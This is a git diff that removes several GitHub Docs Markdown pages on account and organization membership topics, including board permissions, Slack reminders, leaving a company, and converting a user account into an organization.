/github/setting-up-and-managing-your-github-user-account/permission-levels-for-user-owned-project-boards - - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-user-owned-project-boards - - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-user-owned-project-boards - - /account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/permission-levels-for-a-project-board-owned-by-a-personal-account -versions: - feature: projects-v1 -topics: - - Accounts -shortTitle: '{% data variables.projects.projects_v1_board_caps %} permissions' -allowTitleToDifferFromFilename: true ---- - -{% data reusables.projects.project_boards_old %} - -## Permissions overview - -There is only one owner of a user-owned {% data variables.projects.projects_v1_board %}; this permission cannot be shared with another personal account. In addition to the owner, other people can collaborate on {% data variables.projects.projects_v1_boards %}. - -There are three levels of permissions for {% data variables.projects.projects_v1_board %} collaborators: - -{% data reusables.project-management.project-board-permissions %} - -## Owner and admin permissions for a user-owned {% data variables.projects.projects_v1_board %} - -The {% data variables.projects.projects_v1_board %} owner and collaborators with admin access have full control of the {% data variables.projects.projects_v1_board %}. In addition to all the permissions allowed by {% data variables.projects.projects_v1_board %} collaborators, a {% data variables.projects.projects_v1_board %} owner and collaborator with admin access can: - -* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/managing-access-to-your-personal-accounts-project-boards) -* [AUTOTITLE](/issues/organizing-your-work-with-project-boards/managing-project-boards/changing-project-board-visibility) -* [AUTOTITLE](/issues/organizing-your-work-with-project-boards/managing-project-boards/deleting-a-project-board) -* [AUTOTITLE](/issues/organizing-your-work-with-project-boards/managing-project-boards/closing-a-project-board) -* [AUTOTITLE](/issues/organizing-your-work-with-project-boards/managing-project-boards/reopening-a-closed-project-board) - -## Read and write permissions for a user-owned {% data variables.projects.projects_v1_board %} - -Collaborators with read access to a user-owned {% data variables.projects.projects_v1_board %} can: - -* View a {% data variables.projects.projects_v1_board %} -* Copy a {% data variables.projects.projects_v1_board %} -* Filter cards on a {% data variables.projects.projects_v1_board %} - -Collaborators with write access to a user-owned {% data variables.projects.projects_v1_board %} can: - -* View a {% data variables.projects.projects_v1_board %} -* Copy a {% data variables.projects.projects_v1_board %} -* Filter cards on a {% data variables.projects.projects_v1_board %} -* Edit a {% data variables.projects.projects_v1_board %} -* Link a repository to a {% data variables.projects.projects_v1_board %} -* Configure automation for {% data variables.projects.projects_v1_boards %} -* Copy a {% data variables.projects.projects_v1_board %} -* Add issues and pull requests to a {% data variables.projects.projects_v1_board %} -* Add notes to a {% data variables.projects.projects_v1_board %} -* Track progress on your {% data variables.projects.projects_v1_board %} -* Archive cards on a {% data variables.projects.projects_v1_board %} - -## {% data variables.projects.projects_v1_board_caps %} visibility - -You can change the {% data variables.projects.projects_v1_board %}'s visibility from private to public and back again. By default, user-owned {% data variables.projects.projects_v1_boards %} are private. For more information, see [AUTOTITLE](/issues/organizing-your-work-with-project-boards/managing-project-boards/changing-project-board-visibility). - -## Further reading - -* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/managing-access-to-your-personal-accounts-project-boards) diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/about-organization-membership.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/about-organization-membership.md deleted file mode 100644 index 93babd9c5224..000000000000 --- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/about-organization-membership.md +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: About organization membership -intro: You can become a member of an organization to collaborate with coworkers or open-source contributors across many repositories at once. -redirect_from: - - /articles/about-organization-membership - - /github/setting-up-and-managing-your-github-user-account/about-organization-membership - - /github/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/about-organization-membership - - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/about-organization-membership -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Accounts -shortTitle: Organization membership ---- -An organization owner can invite you to join their organization as a member, billing manager, or owner. An organization owner or member with admin privileges for a repository can invite you to collaborate in one or more repositories as an outside collaborator. For more information, see [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization). - -You can access organizations you're a member of on your profile page. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/accessing-an-organization). - -When you accept an invitation to join an organization, the organization owners may be able to see: - -* Your public profile information -* Your email address -* If you have two-factor authorization enabled -* Repositories you have access to within the organization, and your access level -* Certain activity within the organization -* Country of request origin -* Your IP address - -For more information, see the [{% data variables.product.prodname_dotcom %} Privacy Statement](/free-pro-team@latest/site-policy/privacy-policies/github-privacy-statement). - -> [!NOTE] -> Owners are not able to view member IP addresses in the organization's audit log. In the event of a security incident, such as an account compromise or inadvertent sharing of sensitive data, organization owners may request details of access to private repositories. The information we return may include your IP address. - -By default, your organization membership visibility is set to private. You can choose to publicize individual organization memberships on your profile. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/publicizing-or-hiding-organization-membership). - -{% ifversion fpt or ghec %} - -If your organization belongs to an enterprise account, you are automatically a member of the enterprise account and visible to enterprise account owners. For more information, see [AUTOTITLE](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}.{% endif %} - -{% endif %} - -You can leave an organization at any time. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/removing-yourself-from-an-organization). - -## Further reading - -* [AUTOTITLE](/organizations/collaborating-with-groups-in-organizations/about-organizations) -* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations) diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/accessing-an-organization.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/accessing-an-organization.md deleted file mode 100644 index 0091b07b3459..000000000000 --- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/accessing-an-organization.md +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Accessing an organization -intro: 'To access an organization that you''re a member of, you must sign in to your personal account.' -redirect_from: - - /articles/error-cannot-log-in-that-account-is-an-organization - - /articles/cannot-log-in-that-account-is-an-organization - - /articles/how-do-i-access-my-organization-account - - /articles/accessing-an-organization - - /github/setting-up-and-managing-your-github-user-account/accessing-an-organization - - /github/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/accessing-an-organization - - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/accessing-an-organization -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Accounts ---- - -> [!TIP] -> Only organization owners can see and change the account settings for an organization. - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/index.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/index.md deleted file mode 100644 index 536cecc4351b..000000000000 --- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/index.md +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Managing your membership in organizations -intro: 'If you''re a member of an organization, you can publicize or hide your membership, view other people''s roles, and remove yourself from the organization.' -redirect_from: - - /articles/managing-your-membership-in-organizations - - /github/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations - - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Accounts -children: - - /about-organization-membership - - /accessing-an-organization - - /viewing-peoples-roles-in-an-organization - - /requesting-organization-approval-for-oauth-apps - - /publicizing-or-hiding-organization-membership - - /managing-your-scheduled-reminders - - /removing-yourself-from-an-organization -shortTitle: Manage organization membership ---- - diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/managing-your-scheduled-reminders.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/managing-your-scheduled-reminders.md deleted file mode 100644 index 5af4ef321ce5..000000000000 --- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/managing-your-scheduled-reminders.md +++ /dev/null @@ -1,67 +0,0 @@ ---- -title: Managing your scheduled reminders -intro: Get reminders in Slack when you or your team have pull requests waiting for review. -versions: - fpt: '*' - ghec: '*' -topics: - - Accounts -redirect_from: - - /github/setting-up-and-managing-your-github-user-account/managing-your-scheduled-reminders - - /github/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/managing-your-scheduled-reminders - - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/managing-your-scheduled-reminders -shortTitle: Manage scheduled reminders ---- -## About scheduled reminders for users - -Scheduled reminders are used to make sure that users focus on the most important review requests that require their attention. Scheduled reminders for pull requests will send a message to you in Slack with open pull requests needing your review at a specified time. For example, you can setup scheduled reminders to send you a message in Slack every morning at 10 AM with pull requests needing to be reviewed by you or one of your teams. - -For certain events, you can also enable real-time alerts for scheduled reminders. Real-time alerts get sent to your Slack channel as soon as an important event, such as when you are assigned a review, is triggered by another user. - -You can set scheduled reminders for personal or team-level review requests for pull requests in organizations you are a member of. Before you can create a scheduled reminder for yourself, an organization owner must authorize your Slack workspace. For more information, see [AUTOTITLE](/organizations/managing-organization-settings/managing-scheduled-reminders-for-your-organization). - -{% data reusables.reminders.scheduled-reminders-limitations %} - -## Creating scheduled reminders for your personal account - -{% data reusables.user-settings.access_settings %} -{% data reusables.reminders.scheduled-reminders %} -1. Next to the organization you'd like to schedule reminders for, click {% octicon "pencil" aria-label="Edit reminder" %}. - - ![Screenshot of the settings for a personal account showing the name of a GitHub organization. An edit button with a pencil icon is outlined in orange.](/assets/images/help/settings/scheduled-reminders-org-choice.png) - -{% data reusables.reminders.authorize-slack %} -{% data reusables.reminders.days-dropdown %} -{% data reusables.reminders.times-dropdowns %} -1. Optionally, to receive scheduled reminders for reviews you've been assigned to, select **Review requests assigned to you**. -1. Optionally, to receive scheduled reminders for reviews assigned to a team you're a member of, select **Review requests assigned to your team**. -{% data reusables.reminders.real-time-alerts %} -{% data reusables.reminders.create-reminder %} -{% data reusables.reminders.test-reminder %} - -## Managing scheduled reminders for your personal account - -{% data reusables.user-settings.access_settings %} -{% data reusables.reminders.scheduled-reminders %} -1. Next to the organization you'd like to edit scheduled reminders for, click {% octicon "pencil" aria-label="Edit reminder" %}. - - ![Screenshot of the settings for a personal account showing the name of a GitHub organization. An edit button with a pencil icon is outlined in orange.](/assets/images/help/settings/scheduled-reminders-org-choice.png) - -{% data reusables.reminders.edit-page %} -{% data reusables.reminders.update-buttons %} -{% data reusables.reminders.test-reminder %} - -## Deleting scheduled reminders for your personal account - -{% data reusables.user-settings.access_settings %} -{% data reusables.reminders.scheduled-reminders %} -1. Next to the organization you'd like to delete reminders for, click {% octicon "pencil" aria-label="Edit reminder" %}. - - ![Screenshot of the settings for a personal account showing the name of a GitHub organization. An edit button with a pencil icon is outlined in orange.](/assets/images/help/settings/scheduled-reminders-org-choice.png) - -{% data reusables.reminders.delete %} - -## Further reading - -* [AUTOTITLE](/organizations/managing-organization-settings/managing-scheduled-reminders-for-your-organization) -* [AUTOTITLE](/organizations/organizing-members-into-teams/managing-scheduled-reminders-for-your-team) diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/publicizing-or-hiding-organization-membership.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/publicizing-or-hiding-organization-membership.md deleted file mode 100644 index febd59177a0a..000000000000 --- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/publicizing-or-hiding-organization-membership.md +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: Publicizing or hiding organization membership -intro: 'If you''d like to tell the world which organizations you belong to, you can display the avatars of the organizations on your profile.' -redirect_from: - - /articles/publicizing-or-concealing-organization-membership - - /articles/publicizing-or-hiding-organization-membership - - /github/setting-up-and-managing-your-github-user-account/publicizing-or-hiding-organization-membership - - /github/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/publicizing-or-hiding-organization-membership - - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/publicizing-or-hiding-organization-membership -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Accounts -shortTitle: Show or hide membership ---- - -## Changing the visibility of your organization membership - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.people %} -1. Locate your username in the list of members. If the list is large, you can search for your username in the search box. -1. Next to your username, select the visibility dropdown menu, then click a new visibility. - - * To publicize your membership, choose **Public**. - * To hide your membership, choose **Private**. - - ![Screenshot of an entry in the list of organization members. Next to the username, a dropdown menu, labeled "Private", is outlined in dark orange.](/assets/images/help/organizations/member-visibility-link.png) diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/removing-yourself-from-an-organization.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/removing-yourself-from-an-organization.md deleted file mode 100644 index 223381e495d6..000000000000 --- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/removing-yourself-from-an-organization.md +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: Removing yourself from an organization -intro: 'If you''re an outside collaborator or a member of an organization, you can leave the organization at any time.' -redirect_from: - - /articles/how-do-i-remove-myself-from-an-organization - - /articles/removing-yourself-from-an-organization - - /github/setting-up-and-managing-your-github-user-account/removing-yourself-from-an-organization - - /github/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/removing-yourself-from-an-organization - - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/removing-yourself-from-an-organization -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Accounts -shortTitle: Leave an organization ---- -{% ifversion fpt or ghec %} - -> [!WARNING] -> If you're currently responsible for paying for {% data variables.product.github %} in your organization, removing yourself from the organization **does not** update the billing information on file for the organization. If you are currently responsible for billing, **you must** have another owner or billing manager for the organization [update the organization's payment method](/billing/managing-your-github-billing-settings/adding-or-editing-a-payment-method). -> -> For more information, see [AUTOTITLE](/organizations/managing-organization-settings/transferring-organization-ownership). - -{% endif %} - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.organizations %} -1. Under "Organizations", next to the organization you'd like to remove yourself from, click **Leave**. diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/requesting-organization-approval-for-oauth-apps.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/requesting-organization-approval-for-oauth-apps.md deleted file mode 100644 index 58dfa736d07e..000000000000 --- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/requesting-organization-approval-for-oauth-apps.md +++ /dev/null @@ -1,34 +0,0 @@ ---- -title: Requesting organization approval for OAuth apps -intro: 'Organization members and outside collaborators can request that an owner approve access to organization resources for {% data variables.product.prodname_oauth_apps %}.' -redirect_from: - - /articles/requesting-organization-approval-for-third-party-applications - - /articles/requesting-organization-approval-for-your-authorized-applications - - /articles/requesting-organization-approval-for-oauth-apps - - /github/setting-up-and-managing-your-github-user-account/requesting-organization-approval-for-oauth-apps - - /github/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/requesting-organization-approval-for-oauth-apps - - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/requesting-organization-approval-for-oauth-apps -versions: - fpt: '*' - ghec: '*' -topics: - - Accounts -shortTitle: Request {% data variables.product.prodname_oauth_app %} approval ---- - -## About requesting organization approval for an {% data variables.product.prodname_oauth_app %} - -Organization members can always request owner approval for {% data variables.product.prodname_oauth_apps %} they'd like to use, and organization owners receive a notification of pending requests. Outside collaborators can request owner approval for {% data variables.product.prodname_oauth_apps %} they'd like to use if integration access requests are enabled. For more information, see [AUTOTITLE](/organizations/managing-programmatic-access-to-your-organization/limiting-oauth-app-and-github-app-access-requests). - -## Requesting organization approval for an {% data variables.product.prodname_oauth_app %} you've already authorized for your personal account - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.access_applications %} -{% data reusables.user-settings.access_authorized_oauth_apps %} -1. In the list of applications, click the name of the {% data variables.product.prodname_oauth_app %} you'd like to request access for. -1. Next to the organization you'd like the {% data variables.product.prodname_oauth_app %} to access, click **Request access**. -1. After you review the information about requesting {% data variables.product.prodname_oauth_app %} access, click **Request approval from owners**. - -## Further reading - -* [AUTOTITLE](/organizations/managing-oauth-access-to-your-organizations-data/about-oauth-app-access-restrictions) diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/viewing-peoples-roles-in-an-organization.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/viewing-peoples-roles-in-an-organization.md deleted file mode 100644 index eaf8ea73eabe..000000000000 --- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/viewing-peoples-roles-in-an-organization.md +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: Viewing people's roles in an organization -intro: 'You can view a list of the people in your organization and filter by their role. For more information on organization roles, see [Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization).' -permissions: Organization members can see people's roles in the organization. -redirect_from: - - /articles/viewing-people-s-roles-in-an-organization - - /articles/viewing-peoples-roles-in-an-organization - - /github/setting-up-and-managing-your-github-user-account/viewing-peoples-roles-in-an-organization - - /github/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/viewing-peoples-roles-in-an-organization - - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/viewing-peoples-roles-in-an-organization -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Accounts -shortTitle: View people in an organization ---- - -## View organization roles - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.people %} -1. To filter the list by role, select the **Role** dropdown menu and click a role. - - ![Screenshot of the list of organization members. In the header of the list, a dropdown menu, labeled "Role," is outlined in dark orange.](/assets/images/help/organizations/view-list-of-people-in-org-by-role.png) - -{% ifversion fpt %} - -If your organization uses {% data variables.product.prodname_ghe_cloud %}, you can also view the enterprise owners who manage billing settings and policies for all your enterprise's organizations. For more information, see [the {% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/viewing-peoples-roles-in-an-organization#view-enterprise-owners-and-their-roles-in-an-organization). - -{% else %} - -## View enterprise owners and their roles in an organization - -If your organization is managed by an enterprise account, then you can view the enterprise owners who manage billing settings and policies for all of your enterprise's organizations. For more information about enterprise accounts, see [AUTOTITLE](/get-started/learning-about-github/types-of-github-accounts). - -You can also view whether an enterprise owner has a specific role in the organization. Enterprise owners can also be an organization member, any other organization role, or be un-affiliated with the organization. - -> [!NOTE] -> If you're an organization owner, you can also invite an enterprise owner to have a role in the organization. If an enterprise owner accepts the invitation, a {% ifversion enterprise-licensing-language %}{% else %}seat or{% endif %} license in the organization is used from the available licenses for your enterprise. For more information about how licensing works, see [AUTOTITLE](/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/roles-in-an-enterprise#enterprise-owner). - -| **Enterprise role** | **Organization role** | **Organization access or impact** | -|----|----|----| -| Enterprise owner | Un-affiliated or no official organization role | Cannot access organization content or repositories but manages enterprise settings and policies that impact your organization. | -| Enterprise owner | Organization owner | Able to configure organization settings and manage access to the organization's resources through teams, etc. | -| Enterprise owner | Organization member | Able to access organization resources and content, such as repositories, without access to the organization's settings. | - -To review all roles in an organization, see [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization). {% ifversion ghec or ghes %} An organization member can also have a custom role for a specific repository. For more information, see [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/managing-custom-repository-roles-for-an-organization).{% endif %} - -For more information about the enterprise owner role, see [AUTOTITLE](/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/roles-in-an-enterprise#enterprise-owner). - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.people %} -1. In the left sidebar, under "Enterprise permissions", click **Enterprise owners**. - -{% endif %} diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/best-practices-for-leaving-your-company.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/best-practices-for-leaving-your-company.md deleted file mode 100644 index 5c3c20937723..000000000000 --- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/best-practices-for-leaving-your-company.md +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: Best practices for leaving your company -intro: 'If you use your {% data variables.product.github %} account for both personal and work purposes, there are a few things to keep in mind when you leave your company or organization.' -redirect_from: - - /articles/best-practices-for-leaving-your-company - - /github/setting-up-and-managing-your-github-user-account/best-practices-for-leaving-your-company - - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/best-practices-for-leaving-your-company - - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/best-practices-for-leaving-your-company - - /account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/best-practices-for-leaving-your-company -versions: - fpt: '*' - ghec: '*' -topics: - - Accounts -shortTitle: Leaving your company ---- - -Before you leave your company, make sure you update the following information in your personal account: - -* Unverify your company email address by [deleting it in your Email settings](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/changing-your-primary-email-address). You can then re-add it without verifying to keep any associated commits linked to your account. -* [Change your primary email address](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/changing-your-primary-email-address) from your company email to your personal email. -* [Verify your new primary email address](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/verifying-your-email-address). -* [Change your GitHub username](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/changing-your-github-username) to remove any references to your company or organization, if necessary. -* If you've enabled two-factor (2FA) authentication for your personal account, make sure that you (not your company) control the 2FA authentication method you have configured. For more information, see [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication). - -## Leaving organizations - -If you've been working with repositories that belong to an organization, you'll want to [remove yourself as a member of the organization](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/removing-yourself-from-an-organization). Note that if you are the organization owner, you should first [transfer ownership of the organization](/organizations/managing-organization-settings/transferring-organization-ownership) to another person. - -Unless you're using a {% data variables.enterprise.prodname_managed_user %}, you'll still be able to access your personal account, even after leaving the organization. For more information about {% data variables.product.prodname_emus %}, see [About {% data variables.product.prodname_emus %}]({% ifversion not ghec %}/enterprise-cloud@latest{% endif %}/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users){% ifversion not ghec %} in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %} - -## Removing professional associations with personal repositories - -If you've been collaborating professionally with another person on repositories that belong to their personal account, you'll want to [remove yourself as a collaborator](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/removing-yourself-from-a-collaborators-repository) from those repositories. - -* [Stop watching repositories](https://github.com/watching) related to your work. You won't want those notifications anymore! -* [Transfer repositories you own](/repositories/creating-and-managing-repositories/transferring-a-repository) that others may need to continue working on after you leave. -* [Delete forks that belong to you](/repositories/creating-and-managing-repositories/deleting-a-repository) that are related to the work you were doing. Don't worry, deleting a fork doesn't delete the upstream repository. -* Delete local copies of your forks that may exist on your computer: - -```shell -rm -rf WORK_DIRECTORY -``` diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/converting-a-user-into-an-organization.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/converting-a-user-into-an-organization.md deleted file mode 100644 index 8d3aec2a258f..000000000000 --- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/converting-a-user-into-an-organization.md +++ /dev/null @@ -1,82 +0,0 @@ ---- -title: Converting a user into an organization -redirect_from: - - /articles/what-is-the-difference-between-create-new-organization-and-turn-account-into-an-organization - - /articles/explaining-the-account-transformation-warning - - /articles/converting-a-user-into-an-organization - - /github/setting-up-and-managing-your-github-user-account/converting-a-user-into-an-organization - - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/converting-a-user-into-an-organization - - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/converting-a-user-into-an-organization - - /account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/converting-a-user-into-an-organization -intro: You can convert your personal account into an organization. This allows more granular permissions for repositories that belong to the organization. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Accounts -shortTitle: User into an organization ---- - -> [!WARNING] -> Before converting a user into an organization, keep these points in mind. -> -> * You will **no longer** be able to sign into the converted personal account. -> * You will **no longer** be able to create or modify gists owned by the converted personal account. -> * An organization **cannot** be converted back to a user. -> * The SSH keys, OAuth tokens, job profile, reactions, and associated user information, **will not** be transferred to the organization. This is only true for the personal account that's being converted, not any of the personal account's collaborators. -> * Any {% data variables.product.prodname_github_apps %} installed on the converted personal account will be uninstalled. -> * Any commits made with the converted personal account **will no longer be linked** to that account. The commits themselves **will** remain intact. -> * Any existing comments made by the converted personal account **will no longer be linked** to that account. The comments themselves **will** remain intact, but will be associated with the `ghost` user. -> * Any forks of private repositories made with the converted personal account will be deleted. -> * Since organizations cannot star repositories, you will no longer have access to your original list of starred repositories. -> * You will no longer have access to the list of users you were following from your user account. -> * Any followers of your user account will not automatically follow the new organization. -> * Any existing collaborators on your projects will still have access to those projects in the new organization. -> * {% data variables.product.prodname_actions %} is not automatically enabled on the account after converting it to an organization, and will have to be re-enabled. To re-enable {% data variables.product.prodname_actions %}, create a new workflow file in the `.github/workflows` directory of your repository. - -## Prerequisites - -The personal account you want to convert cannot be a member of any organizations. If the personal account you want to convert is a member of an organization, you must leave the organization before you can convert the account. - -{% ifversion ghes %} -You may not be able to convert a personal account into an organization, if an enterprise owner has set a policy at the enterprise level. See, [AUTOTITLE](/admin/managing-accounts-and-repositories/managing-organizations-in-your-enterprise/preventing-users-from-creating-organizations). -{% endif %} - -## Keep your personal account and create a new organization manually - -If you want your organization to have the same name that you are currently using for your personal account, or if you want to keep your personal account's information intact, then you must create a new organization and transfer your repositories to it instead of converting your personal account into an organization. - -1. To retain your current personal account name for your personal use, [change the name of your personal account](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/changing-your-github-username) to something new and wonderful. -1. [Create a new organization](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch) with the original name of your personal account. -1. [Transfer your repositories](/repositories/creating-and-managing-repositories/transferring-a-repository) to your new organization account. - -## Convert your personal account into an organization automatically - -You can also convert your personal account directly into an organization. Converting your account: -* Preserves the repositories as they are without the need to transfer them to another account manually -* Automatically invites collaborators to teams with permissions equivalent to what they had before -{%- ifversion fpt or ghec %} -* For personal accounts on {% data variables.product.prodname_pro %}, automatically transitions billing to [the paid {% data variables.product.prodname_team %}](/billing/managing-the-plan-for-your-github-account/about-billing-for-plans) without the need to re-enter payment information, adjust your billing cycle, or double pay at any time -{%- endif %} - -When you convert a personal account into an organization, we'll add collaborators on repositories that belong to the account to the new organization as outside collaborators. You can then invite outside collaborators to become members of your new organization if you wish. For more information, see [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#outside-collaborators). - -1. Create a new personal account, which you'll use to sign into GitHub and access the organization and your repositories after you convert. -1. [Leave any organizations](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/removing-yourself-from-an-organization) the personal account you're converting has joined. -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.organizations %} -1. In the "Transform account" section, click **Turn USERNAME into an organization**. -1. Review the warning, then click **Turn USERNAME into an organization**. -1. Under "Choose an organization owner", type either the secondary personal account you created in the previous section, or another user you trust, to manage the organization. -1. Choose your new organization's subscription and enter your billing information, if prompted. -1. Click **Create Organization**. -1. Sign in to the new personal account you created earlier, then use the context switcher to access your new organization. - -## Further reading - -* [AUTOTITLE](/organizations/organizing-members-into-teams) -{% ifversion fpt or ghec %} -* [AUTOTITLE](/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization) -{% endif %} -* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/accessing-an-organization) diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/deleting-your-personal-account.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/deleting-your-personal-account.md deleted file mode 100644 index afa605a4c8d2..000000000000 --- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/deleting-your-personal-account.md +++ /dev/null @@ -1,72 +0,0 @@ ---- -title: Deleting your personal account -intro: 'You can delete your personal account on {% data variables.location.product_location %} at any time.' -redirect_from: - - 